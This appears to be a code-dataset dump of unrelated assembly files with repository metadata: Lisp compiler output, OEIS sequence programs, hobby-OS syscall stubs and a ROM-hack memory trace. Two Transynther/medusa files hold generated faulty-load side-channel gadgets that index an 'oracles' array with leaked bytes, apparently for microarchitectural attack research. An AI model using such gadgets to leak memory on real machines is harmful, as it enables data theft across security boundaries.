add rsp, 16 # discard 2 local arguments
jmp end_42
false_41:
push [rbp + 24] # push argument to _max
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call _max
add rsp, 16 # discard 2 local arguments
jmp end_42
end_42:
jmp end_39
end_39:
mov rsp, rbp
pop rbp
ret
max:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
push [rbp + 16] # push argument to _max
call _max
mov rsp, rbp
pop rbp
ret
_reverse:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_43 # true branch
jmp false_44 # false branch
true_43:
mov rax, [rbp + 24]
jmp end_45
false_44:
push [rbp + 24] # push argument to cons
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call cons
add rsp, 16 # discard 2 local arguments
push rax # result of cons
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call _reverse
add rsp, 16 # discard 2 local arguments
jmp end_45
end_45:
mov rsp, rbp
pop rbp
ret
reverse:
push rbp
mov rbp, rsp
push '\0' # push argument to _reverse
push [rbp + 16] # push argument to _reverse
call _reverse
mov rsp, rbp
pop rbp
ret
append:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_46 # true branch
jmp false_47 # false branch
true_46:
mov rax, [rbp + 24]
jmp end_48
false_47:
push [rbp + 24] # push argument to append
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call append
add rsp, 16 # discard 2 local arguments
push rax # result of append
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call cons
add rsp, 16 # discard 2 local arguments
jmp end_48
end_48:
mov rsp, rbp
pop rbp
ret
flatten:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_49 # true branch
jmp false_50 # false branch
true_49:
mov rax, [rbp + 16]
jmp end_51
false_50:
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call list?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_52 # true branch
jmp false_53 # false branch
true_52:
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call flatten
add rsp, 8 # discard 1 local argument
push rax # result of flatten
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call append
add rsp, 16 # discard 2 local arguments
push rax # result of append
call flatten
add rsp, 8 # discard 1 local argument
jmp end_54
false_53:
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call flatten
add rsp, 8 # discard 1 local argument
push rax # result of flatten
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call cons
add rsp, 16 # discard 2 local arguments
jmp end_54
end_54:
jmp end_51
end_51:
mov rsp, rbp
pop rbp
ret
display:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to atom?
call atom?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_55 # true branch
jmp false_56 # false branch
true_55:
push [rbp + 16] # push argument to display_num
call display_num
add rsp, 8 # discard 1 local argument
jmp end_57
false_56:
push [rbp + 16] # push argument to display_list
call display_list
add rsp, 8 # discard 1 local argument
jmp end_57
end_57:
mov rsp, rbp
pop rbp
ret
.data
MAX_NUM:
.quad 2147483647
nil:
.quad 408383
KEY_UP:
.quad 259
KEY_DOWN:
.quad 258
KEY_LEFT:
.quad 260
KEY_RIGHT:
.quad 261
KEY_ENTER:
.quad 343
| 23.434402
| 59
| 0.688231
|
2ed9418c4dc11b61a28de257245f35bcea62befd
| 1,847
|
asm
|
Assembly
|
programs/oeis/010/A010019.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/010/A010019.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/010/A010019.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A010019: a(0) = 1, a(n) = 29*n^2 + 2 for n>0.
; 1,31,118,263,466,727,1046,1423,1858,2351,2902,3511,4178,4903,5686,6527,7426,8383,9398,10471,11602,12791,14038,15343,16706,18127,19606,21143,22738,24391,26102,27871,29698,31583,33526,35527,37586,39703,41878,44111,46402,48751,51158,53623,56146,58727,61366,64063,66818,69631,72502,75431,78418,81463,84566,87727,90946,94223,97558,100951,104402,107911,111478,115103,118786,122527,126326,130183,134098,138071,142102,146191,150338,154543,158806,163127,167506,171943,176438,180991,185602,190271,194998,199783,204626,209527,214486,219503,224578,229711,234902,240151,245458,250823,256246,261727,267266,272863,278518,284231,290002,295831,301718,307663,313666,319727,325846,332023,338258,344551,350902,357311,363778,370303,376886,383527,390226,396983,403798,410671,417602,424591,431638,438743,445906,453127,460406,467743,475138,482591,490102,497671,505298,512983,520726,528527,536386,544303,552278,560311,568402,576551,584758,593023,601346,609727,618166,626663,635218,643831,652502,661231,670018,678863,687766,696727,705746,714823,723958,733151,742402,751711,761078,770503,779986,789527,799126,808783,818498,828271,838102,847991,857938,867943,878006,888127,898306,908543,918838,929191,939602,950071,960598,971183,981826,992527,1003286,1014103,1024978,1035911,1046902,1057951,1069058,1080223,1091446,1102727,1114066,1125463,1136918,1148431,1160002,1171631,1183318,1195063,1206866,1218727,1230646,1242623,1254658,1266751,1278902,1291111,1303378,1315703,1328086,1340527,1353026,1365583,1378198,1390871,1403602,1416391,1429238,1442143,1455106,1468127,1481206,1494343,1507538,1520791,1534102,1547471,1560898,1574383,1587926,1601527,1615186,1628903,1642678,1656511,1670402,1684351,1698358,1712423,1726546,1740727,1754966,1769263,1783618,1798031
pow $1,$0
gcd $1,2
mov $3,$0
mul $3,$0
mov $2,$3
mul $2,29
add $1,$2
| 167.909091
| 1,728
| 0.831077
|
d0df58b8f421d6ecf174f835a1ecb7422625b340
| 1,147
|
asm
|
Assembly
|
lib/syscall/syscall.asm
|
sudoamin/mars-os
|
79578bab80970905284eb1de8c9750269b8b9d41
|
[
"Apache-2.0"
] | 3
|
2022-03-18T14:39:52.000Z
|
2022-03-24T17:11:05.000Z
|
lib/syscall/syscall.asm
|
sudoamin/mars-os
|
79578bab80970905284eb1de8c9750269b8b9d41
|
[
"Apache-2.0"
] | null | null | null |
lib/syscall/syscall.asm
|
sudoamin/mars-os
|
79578bab80970905284eb1de8c9750269b8b9d41
|
[
"Apache-2.0"
] | null | null | null |
section .text
global sys_print
global sys_kbrd_read
global sys_sleep
global sys_exit
global sys_wait
sys_print:
; allocate 16-byte space on the stack for the arguments
sub rsp, 16
; rax holds the index number of syscall function
; the index is 0 for write screen function
xor eax, eax
; copy first and second arguments to the new allocated space
; take look at https://wiki.osdev.org/Calling_Conventions
mov [rsp], rdi
mov [rsp+8], rsi
; rdi holds the number of arguments
mov rdi, 2
; rsi points to address of arguments
mov rsi, rsp
; the vector number is 0x80
int 0x80
; after we return from the kernel,
; the return value is saved in rax
; to restore the stack
add rsp, 16
ret
sys_kbrd_read:
mov eax,4
xor edi,edi
int 0x80
ret
sys_sleep:
sub rsp,8
mov eax,1
mov [rsp],rdi
mov rdi,1
mov rsi,rsp
int 0x80
add rsp,8
ret
sys_exit:
mov eax,2
mov rdi,0
int 0x80
ret
sys_wait:
mov eax,3
mov rdi,0
int 0x80
ret
| 15.092105
| 66
| 0.604185
|
251f14fcd0a7b543ff7ee6da32210bb32df5849b
| 5,105
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_802.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_802.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_802.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %rbp
push %rcx
push %rdx
lea addresses_WC_ht+0x13b72, %r11
nop
nop
nop
nop
nop
add $55683, %rbp
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
vmovups %ymm5, (%r11)
nop
add %r14, %r14
lea addresses_UC_ht+0x8636, %r14
add $18796, %rdx
movl $0x61626364, (%r14)
nop
nop
sub $64751, %r11
lea addresses_UC_ht+0x198d2, %rbp
nop
nop
nop
nop
nop
sub $165, %r10
mov $0x6162636465666768, %r11
movq %r11, %xmm1
vmovups %ymm1, (%rbp)
nop
nop
nop
nop
nop
xor $39424, %rcx
lea addresses_normal_ht+0xcb1c, %rcx
nop
nop
and %r11, %r11
movl $0x61626364, (%rcx)
nop
nop
nop
dec %rbp
pop %rdx
pop %rcx
pop %rbp
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rax
push %rbp
push %rcx
// Store
lea addresses_A+0x16052, %rax
nop
nop
nop
nop
sub $39296, %r14
movw $0x5152, (%rax)
nop
inc %rax
// Faulty Load
lea addresses_A+0xfcd2, %rax
nop
nop
nop
nop
nop
sub $51308, %r10
movb (%rax), %r8b
lea oracles, %r10
and $0xff, %r8
shlq $12, %r8
mov (%r10,%r8,1), %r8
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 43.262712
| 2,999
| 0.660529
|
afe111b7241fea21229d1a5753f8bebe50f49b85
| 911
|
asm
|
Assembly
|
oeis/152/A152687.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/152/A152687.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/152/A152687.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A152687: Partial products operator applied thrice to nonzero Fibonacci numbers.
; Submitted by Christian Krause
; 1,1,2,24,8640,746496000,201231433728000000,3554168771933456302080000000000,139840535301953855934724122328694784000000000000000,674129921807822677705190163721626103970522196466131271680000000000000000000000,35437218987248873212318549856365053595978962114470478771937575231634596717411654696960000000000000000000000000000000,2925119780313459667974454046146106249178991958004882381872460124350918295667512683937282237981005231683119772630042812612608000000000000000000000000000000000000000000
mov $1,1
mov $4,$0
mov $6,$0
lpb $4
mov $0,$6
sub $4,1
sub $0,$4
mov $5,$0
mov $7,$0
lpb $7
mov $0,$5
sub $7,1
sub $0,$7
mov $2,1
mov $8,0
lpb $0
sub $0,1
mov $3,$2
mov $2,$8
add $2,1
mul $1,$2
add $8,$3
lpe
lpe
lpe
mov $0,$1
| 29.387097
| 491
| 0.760703
|
f0fc17fd0b3e1526b7802627d4e7bce38a861715
| 231
|
asm
|
Assembly
|
examples/ex3.asm
|
michalmalik/pvm
|
59def05cd36437c99f665afdc57ef87f6652b999
|
[
"MIT"
] | 2
|
2018-11-13T09:48:06.000Z
|
2021-06-30T09:29:50.000Z
|
examples/ex3.asm
|
michalmalik/pvm
|
59def05cd36437c99f665afdc57ef87f6652b999
|
[
"MIT"
] | null | null | null |
examples/ex3.asm
|
michalmalik/pvm
|
59def05cd36437c99f665afdc57ef87f6652b999
|
[
"MIT"
] | 2
|
2017-03-06T20:46:09.000Z
|
2018-06-15T02:09:53.000Z
|
JMP start
:table
DAT 0xF00D
DAT 0xBEEF
DAT 0xFEED
DAT 0xBEEE
:start
STO A,0
STO J,4
; Loop through table
:loop
STO [0x1000+A],[table+A]
ADD A,1
IFN A,J
JMP loop
| 12.833333
| 32
| 0.506494
|
804151771eccd1b579fd64bb291db3f56f6ac9f8
| 2,170
|
asm
|
Assembly
|
wof/lcs/enemy/C6.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 6
|
2020-10-14T15:29:10.000Z
|
2022-02-12T18:58:54.000Z
|
wof/lcs/enemy/C6.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | null | null | null |
wof/lcs/enemy/C6.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 1
|
2020-12-17T08:59:10.000Z
|
2020-12-17T08:59:10.000Z
|
copyright zengfr site:http://github.com/zengfr/romhack
001590 lea ($20,A0), A0
0122AE move.l (A2)+, (A3)+ [enemy+C0, enemy+C2]
0122B0 move.l (A2)+, (A3)+ [enemy+C4, enemy+C6]
01241E move.b D0, ($c6,A0)
012422 move.b #$2, ($2b,A0)
01A75E dbra D4, $1a75c
0253D2 beq $25442 [enemy+C6]
025516 clr.b ($c6,A0) [enemy+A3]
02551A bsr $25c6e [enemy+C6]
025534 clr.b ($c6,A0) [enemy+2B]
025538 movea.l ($c8,A0), A4 [enemy+C6]
025594 addq.b #2, ($c2,A0) [enemy+C6]
02679E beq $2680e [enemy+C6]
0268B8 clr.b ($c6,A0) [enemy+A3]
0268BC jsr $4258.w [enemy+C6]
026A6A addq.b #2, ($c2,A0) [enemy+C6]
026AFC move.b #$6, ($2b,A0) [enemy+C6]
0291C6 beq $29236 [enemy+C6]
029318 clr.b ($c6,A0) [enemy+A3]
02931C bsr $29988 [enemy+C6]
029336 clr.b ($c6,A0) [enemy+2B]
02933A movea.l ($c8,A0), A4 [enemy+C6]
029394 addq.b #2, ($c2,A0) [enemy+C6]
029422 move.b #$6, ($2b,A0) [enemy+C6]
02A588 beq $2a602 [enemy+C6]
02A6E6 clr.b ($c6,A0) [enemy+A3]
02A6EA bsr $2acb4
02A704 clr.b ($c6,A0) [enemy+2B]
02A708 movea.l ($c8,A0), A4 [enemy+C6]
02A762 addq.b #2, ($c2,A0) [enemy+C6]
02A7F0 move.b #$6, ($2b,A0) [enemy+C6]
02B7B4 beq $2b824 [enemy+C6]
02B906 clr.b ($c6,A0) [enemy+A3]
02B90A bsr $2bde2
02B982 addq.b #2, ($c2,A0) [enemy+C6]
02BA10 move.b #$6, ($2b,A0) [enemy+C6]
03291C beq $32986
032AD4 move.b D0, ($c2,A0)
032B58 addq.b #2, ($c2,A0) [enemy+C6]
032BBE move.b #$6, ($2b,A0) [enemy+C6]
032EC6 clr.b ($c6,A0) [enemy+A3]
032ECA move.b #$4, ($2b,A0)
036750 beq $367c0 [enemy+C6]
0368E0 move.b D0, ($c6,A0) [enemy+A3]
0368E4 move.b D0, ($c2,A0)
0368FA clr.b ($c6,A0) [enemy+2B]
0368FE movea.l ($c8,A0), A4 [enemy+C6]
03695E addq.b #2, ($c2,A0) [enemy+C6]
0369C4 move.b #$6, ($2b,A0) [enemy+C6]
036DB6 st ($c6,A0) [enemy+7A]
036DBA movea.l #$83e70, A4 [enemy+C6]
036E28 move.b #$6, ($2b,A0) [enemy+C6]
046892 beq $46902
0469D8 clr.b ($c6,A0) [enemy+A3]
0469DC bsr $46cc4
046AF4 addq.b #2, ($c2,A0) [enemy+C6]
046B3E move.b D0, ($c6,A0)
046B42 rts
copyright zengfr site:http://github.com/zengfr/romhack
| 34.444444
| 54
| 0.595853
|
4f1d5017b40552591c84ceba142e9660654b00e5
| 1,134
|
asm
|
Assembly
|
home/copy.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 16
|
2018-08-28T21:47:01.000Z
|
2022-02-20T20:29:59.000Z
|
home/copy.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 5
|
2019-04-03T19:53:11.000Z
|
2022-03-11T22:49:34.000Z
|
home/copy.asm
|
adhi-thirumala/EvoYellow
|
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
|
[
"Unlicense"
] | 2
|
2019-12-09T19:46:02.000Z
|
2020-12-05T21:36:30.000Z
|
FarCopyData::
; Copy bc bytes from a:hl to de.
ld [wFarCopyDataSavedROMBank], a
ld a, [H_LOADEDROMBANK]
push af
ld a, [wFarCopyDataSavedROMBank]
call BankswitchCommon
call CopyData
pop af
call BankswitchCommon
ret
CopyData::
; Copy bc bytes from hl to de.
ld a,b
and a
jr z, .copybytes
ld a,c
and a ; is lower byte 0
jr z, .loop
inc b ; if not, increment b as there are <$100 bytes to copy
.loop
call .copybytes
dec b
jr nz,.loop
ret
.copybytes ; 00c1
ld a, [hli]
ld [de], a
inc de
dec c
jr nz, .copybytes
ret
CopyVideoDataAlternate::
ld a, [rLCDC]
bit 7,a ; LCD enabled?
jp nz, CopyVideoData ; if yes, then copy video data
push hl
ld h,d
ld l,e
pop de
ld a,b ; save bank
push af
swap c
ld a,$f
and c
ld b,a
ld a,$f0
and c
ld c,a
pop af
jp FarCopyData
CopyVideoDataDoubleAlternate::
ld a, [rLCDC]
bit 7,a ; LCD enabled?
jp nz, CopyVideoDataDouble ; if yes, then copy video data
push de
ld d,h
ld e,l
ld a,b
push af ; save bank to switch to
ld h,$0
ld l,c
add hl,hl ; get raw length of bytes to copy
add hl,hl
add hl,hl
ld b,h
ld c,l
pop af
pop hl
jp FarCopyDataDouble
| 15.12
| 61
| 0.678131
|
63c273537cbff1feff14fb416728954f7d4968b2
| 369
|
asm
|
Assembly
|
Vivid/Tests/Data.asm
|
Morkonena/Zigzag
|
75b996b07eff579e87147b88957dd07abc0f4ab4
|
[
"MIT"
] | 3
|
2021-07-15T20:45:25.000Z
|
2022-02-08T17:51:33.000Z
|
Vivid/Tests/Data.asm
|
lehtojo/zz
|
ca17d6d6c03420908d53e3b0b7c3cfa3e2e4d209
|
[
"MIT"
] | null | null | null |
Vivid/Tests/Data.asm
|
lehtojo/zz
|
ca17d6d6c03420908d53e3b0b7c3cfa3e2e4d209
|
[
"MIT"
] | null | null | null |
.section data
.byte 10
.word 1000
.align 1
foo:
.dword 100000
.qword 10000000000
.align 2
bar:
.characters 'Foo, 42, 1 + 2 = 3, \a\b\t\n\v\f\r\e\"\'\\ \xFF, \ucafe, \Udeadc0de'
.align 3
.string 'Foo, 42, 1 + 2 = 3, \a\b\t\n\v\f\r\e\"\'\\ \xFF, \ucafe, \Udeadc0de'
.dword something
.section other
start:
.dword foo
.align 4
.export baz
baz:
.qword bar
.word baz - start
| 16.772727
| 81
| 0.636856
|
7de7399661ddd6291516b450fbd398be22e4c4c3
| 270
|
asm
|
Assembly
|
programs/oeis/260/A260113.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/260/A260113.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/260/A260113.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A260113: Maximum number of queens on an n X n chessboard such that no queen attacks more than one other queen.
; 1,2,3,4,5,8,9,10,12,13,14,16,17,18,20,21,22,24,25,26,28,29,30,32,33,34,36,37,38,40
mov $1,$0
add $1,1
div $1,3
lpb $1
add $0,$1
mov $1,1
lpe
add $0,1
| 22.5
| 112
| 0.659259
|
1e6cb6c7174cc413e60d7743250cbed2b98cfdd0
| 7,626
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_436.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_436.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_436.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xc956, %r8
nop
nop
inc %r11
movb (%r8), %r13b
nop
nop
nop
sub $14244, %rsi
lea addresses_normal_ht+0x7716, %r11
nop
nop
nop
nop
nop
mfence
mov $0x6162636465666768, %r13
movq %r13, %xmm1
vmovups %ymm1, (%r11)
nop
nop
nop
nop
xor %r11, %r11
lea addresses_WT_ht+0x17ed6, %r13
nop
nop
xor $34800, %rax
mov $0x6162636465666768, %r11
movq %r11, (%r13)
nop
nop
nop
nop
and %r14, %r14
lea addresses_A_ht+0xc016, %rax
nop
nop
add $12293, %r8
and $0xffffffffffffffc0, %rax
movaps (%rax), %xmm4
vpextrq $1, %xmm4, %r14
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_UC_ht+0x17416, %rsi
lea addresses_WC_ht+0x15416, %rdi
nop
nop
xor $65151, %r8
mov $12, %rcx
rep movsw
nop
nop
nop
nop
xor $34883, %rcx
lea addresses_UC_ht+0x12c16, %r14
inc %r13
movb $0x61, (%r14)
nop
nop
nop
nop
nop
and $2466, %r14
lea addresses_WT_ht+0x1ca6e, %r14
clflush (%r14)
and %r11, %r11
vmovups (%r14), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rcx
nop
nop
nop
nop
cmp $39138, %r11
lea addresses_normal_ht+0x10dba, %rsi
nop
nop
nop
dec %r13
vmovups (%rsi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r11
nop
nop
dec %r11
lea addresses_A_ht+0x17c16, %rsi
lea addresses_UC_ht+0x1e116, %rdi
and %r11, %r11
mov $119, %rcx
rep movsb
nop
nop
nop
nop
add $52027, %r13
lea addresses_A_ht+0x12066, %rsi
clflush (%rsi)
nop
nop
nop
nop
mfence
movb (%rsi), %al
xor $15931, %rax
lea addresses_WC_ht+0x7e5e, %rax
nop
nop
nop
xor $44517, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, (%rax)
nop
sub $23025, %r11
lea addresses_normal_ht+0x2416, %r8
nop
nop
add $12649, %rsi
vmovups (%r8), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rdi
nop
xor %r13, %r13
lea addresses_UC_ht+0x10816, %r11
nop
nop
nop
nop
cmp $62046, %r13
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
movups %xmm4, (%r11)
and $15123, %rcx
lea addresses_WT_ht+0x38f6, %r14
nop
nop
nop
sub %r13, %r13
vmovups (%r14), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
nop
nop
nop
nop
nop
lfence
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
